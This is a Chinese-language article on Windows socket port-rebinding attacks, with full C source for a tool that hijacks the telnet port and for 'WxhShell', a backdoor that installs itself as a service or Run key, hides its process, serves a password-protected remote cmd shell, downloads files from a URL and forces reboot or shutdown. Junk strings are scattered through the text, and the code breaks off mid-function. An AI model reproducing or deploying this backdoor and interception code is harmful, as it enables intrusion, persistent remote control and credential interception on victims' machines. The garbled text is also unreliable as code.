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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p:!FB8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vx n-
:bP <H saddr.sin_family = AF_INET; (WGEX(| Pi[(xD8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9\r5&#<(I gi/W3q3c6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y0t-e Je#3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U<yKC8 *u34~v16, 这意味着什么?意味着可以进行如下的攻击: OH5#.${O - :x6X$= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K!G/iz9SB cc3+Wx_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (jh0cy}|] ;p(Doy)i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y|#Fu \FIOFbwe 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 |P"kJ45 7YU}-gi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *pGbcBQ WODgG@w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ][T>052v C:}"?tri 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *_uGzGB&G )|U+<r< #include QJH~YV\% #include V#-8[G6Ra #include 3_Re>i #include 'p,54<e DWORD WINAPI ClientThread(LPVOID lpParam); =NL(L int main() k'd=|U;(FV { .ffb*gZ4 WORD wVersionRequested; f:A1j\A? DWORD ret; \z=!It]f. WSADATA wsaData; RM`iOV,Y BOOL val; OWHHN< SOCKADDR_IN saddr; GplEad
$ SOCKADDR_IN scaddr; 9C1\?)"D^e int err; l9$"zEC SOCKET s; i"y @Aj!7 SOCKET sc; DIc -"5~ int caddsize; cfW;gFf HANDLE mt; yKOC1( ~ DWORD tid; 4{=^J2z wVersionRequested = MAKEWORD( 2, 2 ); WNV}@ err = WSAStartup( wVersionRequested, &wsaData ); AhSN'gWpbF if ( err != 0 ) { 5q.)K
f+ printf("error!WSAStartup failed!\n"); zAd%dbU| return -1; xR5zm%\ } !JwR[X\f saddr.sin_family = AF_INET; *f+DV[DF R-Z)0S'ZR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >VvA&p71b <SNu`,/I saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,S=ur% saddr.sin_port = htons(23); >o!~T}J7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mp>Ne6\Tu { ,A!0:+ printf("error!socket failed!\n"); ~fF;GtP return -1; [`|gj } r(c8P6_ val = TRUE; A]s|"Pav, //SO_REUSEADDR选项就是可以实现端口重绑定的 )Es|EPCx! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fnU;DS]W { #uH%J<U printf("error!setsockopt failed!\n"); [Xo[J?w],2 return -1; Wr\A ->+ } zM|Y
X< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sb*)K,U //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rW0-XLbL5H //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ouc$M2m0! kTs.ps8ei if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %8g1h)F"S { #qdfr3 ret=GetLastError(); lH1gWe printf("error!bind failed!\n"); IpI|G!Y, return -1; 3g5
n>8- } /X97dF)zt listen(s,2); :5BVVa0oR while(1) UB|}+WA3 { Xg1QF^ caddsize = sizeof(scaddr); W 33MYw //接受连接请求 #w#:f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~k'SP(6#C if(sc!=INVALID_SOCKET) _T.k/a { '/QS
sZR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NuC+iC$_/ if(mt==NULL) 4jdP3Q/ { zqa7!ky printf("Thread Creat Failed!\n"); L~>~a1p! break; oD&axNk } <]h?_) } !juh}q&}| CloseHandle(mt); ) i=.x+Q } q!\4|KF~ closesocket(s); [^2c9K^NK WSACleanup(); q2~@z-q)b return 0; XMw*4j2E } >K-S&Y DWORD WINAPI ClientThread(LPVOID lpParam) o==:e { R*r;`x SOCKET ss = (SOCKET)lpParam; g.T:72" SOCKET sc; swLrp
74 unsigned char buf[4096]; YGf<! SOCKADDR_IN saddr; zM2_z long num; MC;2.e` DWORD val; EK$3T5e DWORD ret; ;dZuO[4\ //如果是隐藏端口应用的话,可以在此处加一些判断 B
42t //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 `(o:;<&3 saddr.sin_family = AF_INET; ;30SnR/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^n&_JQIXb saddr.sin_port = htons(23); g=]VQ;{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }*s`R;B|, { w0`8el; printf("error!socket failed!\n"); |!E: [UH return -1; Dg
o-Os@ } OV,t| val = 100; 0*yD
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kBg8:bo~ { Ws*UhJY<GS ret = GetLastError(); =a^}]k} return -1; ME.a * v } fv/Nf" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FDCc?>,o { ^c| _%/ ret = GetLastError(); N|\Q:<!2_w return -1; FE,BvNBZ } $*hqF1Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z1S
p'h$ { xTg=oq printf("error!socket connect failed!\n"); }ej>uZVe< closesocket(sc); _kXq0~ closesocket(ss); @jY=b< return -1; a|eHo%Qt } ]+A%37 while(1) B"?ivxM:U { Ra/Pk G-7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 85?;\5%- //如果是嗅探内容的话,可以再此处进行内容分析和记录 f@Yo]F U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'M!M$<j num = recv(ss,buf,4096,0); c8Je&y8 if(num>0) ?/|KM8 send(sc,buf,num,0); 7BkY0_KK else if(num==0) ApNS0 break; D$Eq~VQ num = recv(sc,buf,4096,0); }\0ei(%H if(num>0) xM)6'= x6 send(ss,buf,num,0); WT63ve else if(num==0) j9xu21'!% break; )k.}>0K | } n#^ii/H closesocket(ss); 0TWd.+ closesocket(sc); ]Bj2; <@y return 0 ; nM|Cv } oju,2kpH7#
s>*xAIx
OXJ'-EZH ========================================================== C?j:+ T/]f5/ 下边附上一个代码,,WXhSHELL 5Mz:$5Tm \zKO5,qw ========================================================== ZeLed[J^xJ ,49Z/P #include "stdafx.h" 2F
:8=_sA {B-*w%}HU #include <stdio.h> nvQTJ4,, #include <string.h> =;"=o5g_ #include <windows.h> 8W Etm} #include <winsock2.h> ^B:;uyG]M #include <winsvc.h> lg
+ >.^7k #include <urlmon.h> slzB# }i{A4f` #pragma comment (lib, "Ws2_32.lib") g%<n9AUl #pragma comment (lib, "urlmon.lib") MXiQWg$ F1meftK #define MAX_USER 100 // 最大客户端连接数 N "}N>xe2 #define BUF_SOCK 200 // sock buffer _&%FGcAS #define KEY_BUFF 255 // 输入 buffer YPW
UncV X,{ 3_ #define REBOOT 0 // 重启 +z4E:v #define SHUTDOWN 1 // 关机 Y (pUd3y tI)|y?q #define DEF_PORT 5000 // 监听端口 #%EHcgF %=!] 1 #define REG_LEN 16 // 注册表键长度 1YK(oRSDn #define SVC_LEN 80 // NT服务名长度 "T9UedZ XBoq/kbw! // 从dll定义API |az2vD6P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y_K W9T_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "}V_.I*+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^t:dcY7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TJ1h[ "9 f+F // wxhshell配置信息 WdH/^QvTP struct WSCFG { tzthc*-< int ws_port; // 监听端口 /3&MUB*z&y char ws_passstr[REG_LEN]; // 口令 &r\8VEZq" int ws_autoins; // 安装标记, 1=yes 0=no ^e=G} N^ char ws_regname[REG_LEN]; // 注册表键名 4(p`xdr}K char ws_svcname[REG_LEN]; // 服务名 G[1\5dK*uR char ws_svcdisp[SVC_LEN]; // 服务显示名 Q8MIpa!: char ws_svcdesc[SVC_LEN]; // 服务描述信息 0( *L)s,5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A,BYi$ int ws_downexe; // 下载执行标记, 1=yes 0=no z0OxJ e char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" hJsP;y:@Lm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w@<II-9L)< sM+~x<}0 }; H8B$#.
\ 'Va(}v // default Wxhshell configuration #*:^\z_Jd struct WSCFG wscfg={DEF_PORT, ES?*w@x "xuhuanlingzhe", K|YB)y 1, ,yA[XAz~U "Wxhshell", ?xrOhA9 "Wxhshell", kRc+OsY9 "WxhShell Service", xx(C$wCJ "Wrsky Windows CmdShell Service", X
=%8*_ "Please Input Your Password: ", 4hODpIF 1, i[@13kr " http://www.wrsky.com/wxhshell.exe", k%FA:ms|k "Wxhshell.exe" rlD!%gG2x };
lPI~5N8 "?.#z]'] // 消息定义模块 4M|uT
9- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pQK SPr char *msg_ws_prompt="\n\r? for help\n\r#>"; [iEz?1., char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Zskj?+1 char *msg_ws_ext="\n\rExit."; 3 ye char *msg_ws_end="\n\rQuit."; BjeD4 char *msg_ws_boot="\n\rReboot..."; !nCq8~# char *msg_ws_poff="\n\rShutdown..."; N@L{9ak1 char *msg_ws_down="\n\rSave to "; !3Pbu=(cte A4cOnG,
char *msg_ws_err="\n\rErr!"; fum.G{} char *msg_ws_ok="\n\rOK!"; P.qzP/Ny a5GLbanF char ExeFile[MAX_PATH]; EG;E !0 int nUser = 0; Q{RmE: HANDLE handles[MAX_USER]; F,{mF2U*$ int OsIsNt; s<)lC;#e Be=rBrI> SERVICE_STATUS serviceStatus; 7oWMjw\ SERVICE_STATUS_HANDLE hServiceStatusHandle; ".tL+A[ tw>2<zmSi% // 函数声明 {X&lgj int Install(void); YT
Zi[/ int Uninstall(void); C!*.jvhT int DownloadFile(char *sURL, SOCKET wsh); 4uo`XJuQ int Boot(int flag); [104;g < void HideProc(void); uTxa5j int GetOsVer(void); 3_~iq>l int Wxhshell(SOCKET wsl); GD{L$#i! void TalkWithClient(void *cs); |7tD&9< int CmdShell(SOCKET sock); pX
^^0 int StartFromService(void); b1KtSRLV int StartWxhshell(LPSTR lpCmdLine); *Bq}.Yn iBd6&?E?< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L"NHr~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); v$W[( . \"k49M` // 数据结构和表定义 k(l2`I4V SERVICE_TABLE_ENTRY DispatchTable[] = [/UchU]DT { jb-kg</A {wscfg.ws_svcname, NTServiceMain}, 12KC4,C&1i {NULL, NULL} UnF8#~ }; 6JDHwV u]};QR // 自我安装 YR9fw int Install(void) |zYOCDFf { eZLEdTScM char svExeFile[MAX_PATH]; \A"o[A2v HKEY key; >F7w]XH strcpy(svExeFile,ExeFile); >sfg`4 _!R$a- // 如果是win9x系统,修改注册表设为自启动 b.&WW if(!OsIsNt) { #_@cI(P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jdP)y]c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D j&~x
RegCloseKey(key); Xq*^6*E-} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .h7s.p? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sw\*$g] RegCloseKey(key); .$%p0Yx+ return 0; ,erf{"Nh } 'J|)4OG: } d9#Vq=H / } //U1mDFT else { hMDd*<%l ?Gki0^~J // 如果是NT以上系统,安装为系统服务 a>'ez0C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XH"+oW if (schSCManager!=0) d,b4q&^X8 { 2T~cOH;T SC_HANDLE schService = CreateService G^~[|a4` ( CJBf5I3 schSCManager, -{cHp wscfg.ws_svcname, zTF{ g+ wscfg.ws_svcdisp, <Kd(fFe SERVICE_ALL_ACCESS, (+>
2&@@< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :8A+2ra& SERVICE_AUTO_START, &9p!J(C SERVICE_ERROR_NORMAL, /SD}`GxH svExeFile, H\67Pd(Z6 NULL, ;*<tU
n^t NULL, vk&
gR NULL, cz>,sz~i NULL, z-5`6aE9< NULL N+|NI?R?} ); r~t`H*C)} if (schService!=0) bbK};u { _M&TT]a CloseServiceHandle(schService); z8Q!~NN-K CloseServiceHandle(schSCManager); *qd:f!Q3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &O&HczO strcat(svExeFile,wscfg.ws_svcname); sgX!4wG&Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GXtMX ha, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 21uK&nVf^l RegCloseKey(key); 5p;AON return 0; !Zz;;Z } rs&]46i/p } Z!1D4`w CloseServiceHandle(schSCManager); ,=:K&5mCv } {PHH1dC{ } J D\tt- OXEk{#Uf[3 return 1; zUfq. } /`*{57/3 B$4*U"tk // 自我卸载 Q`ua9oIJ= int Uninstall(void) PsY![CPrW { 8\n3
i" HKEY key; (#Y~z',I Da=EAG-{7 if(!OsIsNt) { [XfR`@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /{i~CGc;" RegDeleteValue(key,wscfg.ws_regname); > H!sD\b RegCloseKey(key); m>@hh#kBg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3o<d=@`r RegDeleteValue(key,wscfg.ws_regname); )r2Y@+.FN RegCloseKey(key); WE<?y_0y& return 0; i"2OsGT } e7vm3<m4 } Q]:O#;"< } CdolZW-!" else { YG "Ta|@5 oaY_6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RJrz ~,} if (schSCManager!=0) p@m0Oi,= { b$ G{^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =kjKK if (schService!=0) C"{^wy{sL { U<Pjn)M~B if(DeleteService(schService)!=0) { 7aG.?Ca% CloseServiceHandle(schService); Rn1oD3w CloseServiceHandle(schSCManager); ]ss[n.T0* return 0; (m~>W"x/ } ~P4C`Q1PT# CloseServiceHandle(schService); K`4rUEf}V" } ]P4WfV
d CloseServiceHandle(schSCManager); `c`VIq?
} {!"UBALxc } ]-=L7a o<`vh*U@,4 return 1; JzyCeM = } [);oj< !NXjax\r // 从指定url下载文件 %()d$.F int DownloadFile(char *sURL, SOCKET wsh) !ifU}qFzK { |LHJRP-Z HRESULT hr; h<9s&
p char seps[]= "/"; +&GV-z~o char *token; %b6$N_M{H1 char *file; th?+TNb^ char myURL[MAX_PATH]; i'>6Qo char myFILE[MAX_PATH]; pwFp<O" F'bwXb** strcpy(myURL,sURL); Wn%P.`o# token=strtok(myURL,seps); om3
%\ while(token!=NULL) o+A7hBM^ { u?osX;'w file=token; Ltlp9 S token=strtok(NULL,seps); YEL0h0gn } e~r/!B5X mypV[ GetCurrentDirectory(MAX_PATH,myFILE); t^s&1#iC strcat(myFILE, "\\"); fPR_3qgQ strcat(myFILE, file); -<W?it?D send(wsh,myFILE,strlen(myFILE),0); c4JV~VS+ send(wsh,"...",3,0); --yF%tRMP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #mxOwvJ if(hr==S_OK) r$7. return 0; YIQD9 else "J VIkC return 1; wQ_4_W Y.^L^ "%dF } .<x6U*)\O
~q$]iwwqT // 系统电源模块 HJL! ;i int Boot(int flag) |/Nh# { (q)}`1d' HANDLE hToken; d&AG~,&d| TOKEN_PRIVILEGES tkp; E^F"$Z"N FO!Td if(OsIsNt) { ?&B8:<qy;L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a:FU- ^B4~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7!O"k# tkp.PrivilegeCount = 1; mdi!Q1pS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pUIN`ya[[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [xS7ae if(flag==REBOOT) { GQ2GcX(E( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .OPknC return 0; ^q7V%{54 } %hB-$nE else { K'A+V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oD)x\ )t8 return 0; "LBMpgpU } u$ts>Q;5
} M/3;-g else { jqUVERbc if(flag==REBOOT) { ]'.qRTz'\t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5Rbl.5.A return 0; Cbbdq%ySI } Mz@{_*2 else { !:{Qbv&T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0.MB;gm: return 0; qv!(In>u } _@5Xmr } _c5@)I~ G% F#I return 1; ($di]lbsT } tXE/aY*I E=NjWO // win9x进程隐藏模块 6pt,]FlU void HideProc(void) u[a-9^&g { _i=*0Q inu.U[. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }m:paB"3 if ( hKernel != NULL ) (,At5T { \!ZA#7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *5'8jC"2g ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c`E>7Hjr- FreeLibrary(hKernel); 0h-NT\m } 1+%UZK= K hY)zKX_r return; 1[P}D~ nQ } H_xHoCLI Xo PJ?63 // 获取操作系统版本 SKG
U)Rn; int GetOsVer(void) B`SX3,3 { ]TvMT OSVERSIONINFO winfo; $tlBI:ay1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Po>laT
5 GetVersionEx(&winfo); [R]V4Hb if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ko%mZ0Y return 1; =dXHQU&Q else =?]`Xo,v~ return 0; uQ=u@qtp } qlhc"}5x } ys=2!P-[# // 客户端句柄模块 pH~\~ int Wxhshell(SOCKET wsl) VL#:oyWA { !@C-|=9G SOCKET wsh; *q}yfa35eR struct sockaddr_in client; v.ZUYa| DWORD myID; #JUh"8N' V_i&@<J while(nUser<MAX_USER) ZayJllaq^ { ~-"CU:$o int nSize=sizeof(client); >~g- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C eEhe if(wsh==INVALID_SOCKET) return 1; L7ae6#5. :6n4i$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y[*.^l._ if(handles[nUser]==0) 2j
f!o closesocket(wsh); +9/K|SB{$ else .7.G}z1 nUser++; m mF0RNE } BOpZ8p'eH1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G[}v?RLI >{AE@@PB^ return 0; hy/g*> } ]ty$/{hx' 2K4Xu9-i:b // 关闭 socket #x 6/"Y2 void CloseIt(SOCKET wsh) rL<N:@HL { z/#,L!Z3 closesocket(wsh); OX,em Ti nUser--; D)MFii1J~ ExitThread(0); Pk&=\i< } X$xf@|<a 5$
How! // 客户端请求句柄 G/
si( LK void TalkWithClient(void *cs) Cuylozj$& { L1_O!EQ ZQ"dAR/y SOCKET wsh=(SOCKET)cs; :TVo2Zm[@ char pwd[SVC_LEN]; RZEq@q char cmd[KEY_BUFF]; N 75U.;U0 char chr[1]; xM{[~Kh_x int i,j; e!=7VEB H-t$A, [ while (nUser < MAX_USER) { i`YZ;L L ju:}%' if(wscfg.ws_passstr) { pPxgjX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zEjl@Kf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xTk6q*NvT^ //ZeroMemory(pwd,KEY_BUFF); ?taC
!{ i=0; uv5NqL& while(i<SVC_LEN) { S%H"i
y =ZSYg K // 设置超时 <|'ETqP<+ fd_set FdRead; ,or;8aYc# struct timeval TimeOut; %cs"PS FD_ZERO(&FdRead); J3+qnT8X FD_SET(wsh,&FdRead); Vuy%7H TimeOut.tv_sec=8; ;=2JbA+"G TimeOut.tv_usec=0; A|Ft:_Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZYY`f/qi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jj%xLv% 4]}d'x& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); } A6z%|d pwd =chr[0]; BZOl&G( if(chr[0]==0xd || chr[0]==0xa) { dJzaP pwd=0; D=LsoASVI break; dm[JDVv| } {Mo[C% i++; nzO-\`40 } '"q+[zwv Li8/GoJW-T // 如果是非法用户,关闭 socket Rhlm if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y8}y0]V } f*V^HfiQb p%Q{Rqc) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8/B8yY-O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?&6|imPE ']Czn._ while(1) { dM,{:eID iYa)*, ZeroMemory(cmd,KEY_BUFF); Lcg1X3$G jn]l!nm // 自动支持客户端 telnet标准 RYl{89 j=0; ]=3hH+1 a while(j<KEY_BUFF) { &]f8Xd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dd
OK& cmd[j]=chr[0]; &~<i"
W if(chr[0]==0xa || chr[0]==0xd) { !#1UTa cmd[j]=0; =C#z Px, break; * W"Pv,: } M~X~2`fFH j++; U_9|ED: } <%4pvn8d?& amQiH!}8R // 下载文件 8z-wdO\ if(strstr(cmd,"http://")) { 1)e[F#| send(wsh,msg_ws_down,strlen(msg_ws_down),0); u3cg&lEgT if(DownloadFile(cmd,wsh)) >7?Lq<H send(wsh,msg_ws_err,strlen(msg_ws_err),0); Us6~7L00 else lh\`9F: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y3V2} } C9Cl$yZ else { `^g-2~ 0p,_?3nX switch(cmd[0]) { Qm[ ) [M t|&hXh{ // 帮助 rWL&-AZQl case '?': { o`~,+6]D send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !~m PxGY break; _0&U'/cs } B|>eKI // 安装 }PMlG case 'i': { Qc Xw - if(Install()) G{+zKs}~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5:~ zlg else W$}2
$}r0U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9y\Ik/ break; ?Rh[S } 80U(q/H%9 // 卸载 ^MWp{E case 'r': { vN6)Szim if(Uninstall()) S>[&] send(wsh,msg_ws_err,strlen(msg_ws_err),0); wG 5H^>6u> else [MAvU?; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4{$ L]toP break; h-03]M#8= } pfMmDl5| // 显示 wxhshell 所在路径 P$__c{1\ case 'p': { [7{cf`C char svExeFile[MAX_PATH]; `j6O strcpy(svExeFile,"\n\r"); k
c L
+ strcat(svExeFile,ExeFile); w~AO;X*Ke" send(wsh,svExeFile,strlen(svExeFile),0); >(gbUW break; =EHKu|rX~ } |UQGZ // 重启 Fp+fZU case 'b': { Tn'o$J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L>`inrpz=w if(Boot(REBOOT)) AB.ZmR9| send(wsh,msg_ws_err,strlen(msg_ws_err),0); L3S29-T else { C7l4X8\w closesocket(wsh); 2N&S__ ExitThread(0); m.yt?` } Qj9'VI>& break; GSGaYq } aqP"Y9l // 关机 5n=~l[O case 'd': { vf!lhV-UG+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YQ-V^e6 if(Boot(SHUTDOWN)) V4<f4|IL send(wsh,msg_ws_err,strlen(msg_ws_err),0); M r~IVmtf else { wemhP8!gc closesocket(wsh); |x ir93 | ExitThread(0); |v"&Y } _10I0Z0 break; gGbJk&E } [58qC: // 获取shell 7!g4 `@!5M case 's': { XAUHF-"WE CmdShell(wsh); LV]F?O[K= closesocket(wsh); 9,wU[=. 0 ExitThread(0); <xD6}h/ break; hhJ>>G4R2 } ^Zq3K // 退出 LHusy;<E[ case 'x': { $*+`;PG- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VBg
M7d CloseIt(wsh); A{wSO./3 break; CuYSvW } _lZWy$rm% // 离开 d?jzh1 case 'q': { ej]>*n send(wsh,msg_ws_end,strlen(msg_ws_end),0); q[~+Zm closesocket(wsh); 8sU}[HH*1 WSACleanup(); pq*4yaTT' exit(1); xU;Q~( break; 5J*h7 } jY$3 } . L]!* } wN$u^] oedLe9! // 提示信息 \aGTi
pB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i/q1> } 6$\'dkufQ } w*IDL0# `j(-y`fo return; ^r^) &] } a*{ -r] XjJ[7"hs* // shell模块句柄 F)uS2 int CmdShell(SOCKET sock) )C#b83 { e~Z>C>J STARTUPINFO si; cy( WD#^ ZeroMemory(&si,sizeof(si));
W[oQp2 = si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]t.6bb4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aF:|MTC(~ PROCESS_INFORMATION ProcessInfo; K`twbTU char cmdline[]="cmd"; M>|R&v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j#
!U6T return 0; [UYE.$Y#( } PG'+vl yxL(mt8 // 自身启动模式 4
JDk() int StartFromService(void) =LojRY { :eW`El typedef struct 76RFu@k { 7G
&I]> DWORD ExitStatus; @LR :^>&* DWORD PebBaseAddress; vC%8-;8{H DWORD AffinityMask; (b;*8 DWORD BasePriority; %j2ZQ/z ULONG UniqueProcessId; >Ef{e6 ULONG InheritedFromUniqueProcessId; vFl06N2 } PROCESS_BASIC_INFORMATION;
